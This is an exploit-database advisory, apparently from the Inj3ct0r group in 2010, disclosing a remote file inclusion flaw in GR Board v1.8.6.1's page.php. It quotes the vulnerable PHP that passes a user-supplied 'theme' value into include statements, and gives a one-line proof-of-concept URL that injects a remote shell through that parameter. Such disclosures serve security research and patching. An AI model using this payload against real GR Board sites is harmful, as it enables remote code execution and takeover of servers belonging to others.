GR Board v1.8.6.1 stab (page.php?theme) Remote File Inclusio
Posted on 30 May 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>GR Board v1.8.6.1 stab (page.php?theme) Remote File Inclusion</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=========================================================================== GR Board v1.8.6.1 stab (page.php?theme) Remote File Inclusion Vulnerability =========================================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' __ /'__` / \__ /'__` 0 0 /\_, ___ /\_/\_ ___ ,_/ / _ ___ 1 1 /_/ /' _ ` / /_/_\_<_ /'___ / /`'__ 0 0 / / / / \__/ \_ \_ / 1 1 \_ \_ \_\_ \____/ \____\ \__\ \____/ \_ 0 0 /_//_//_/ \_ /___/ /____/ /__/ /___/ /_/ 1 1 \____/ >> Exploit database separated by exploit 0 0 /___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ######################################## 1 0 I'm eidelweiss member from Inj3ct0r Team 1 1 ######################################## 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 download: http://sirini.net/grboard/board.php?id=grskin&articleNo=82 Author: eidelweiss Contact: g1xsystem[at]windowslive.com ===================================================================== Description: GRBoard (VERSION 1.8 )is bulletin board system of Korea. It is freely available for all platforms that supports PHP and MySQL. But I find Remote File Inclusion vulnerability. ===================================================================== --=[ Vuln C0de ]=- [-] path/page.php ----------------------------------------------------------------------------------------- // íÎØìݳì²Àì×ÐìÄÜ ìÂìÚ©íÕ† ë?ÀìÈØ ë´À땳êª? $getConfigList = array('theme', 'title', 'logo', 'useOutlogin', 'outlogin', 'usePoll', 'poll'); $countList = count($getConfigList); for($i=0; $i<$countList; $i++) $config[$getConfigList[$i]] = getVar($getConfigList[$i]); $content = @mysql_fetch_array(mysql_query('select var from '.$dbFIX.'layout_config where opt = 'page' and var like ''.$_GET['id'].'|%'')); $content = str_replace($_GET['id'].'|', '', $content['var']); $path = 'layout/'.$config['theme']; include 'layout/'.$config['theme'].'/head.page.php'; // <= 1 ?> <div id="mainFrame"><?php echo $content; ?></div> <div class="clear"></div> <?php include 'layout/'.$config['theme'].'/foot.page.php'; // <= 2 ?> ----------------------------------------------------------------------------------------- -=[ P0C ]=- http://127.0.0.1/path/page.php?theme= [inj3ct0r sh3ll] =========================| -=[ E0F ]=- |========================= # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-30]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>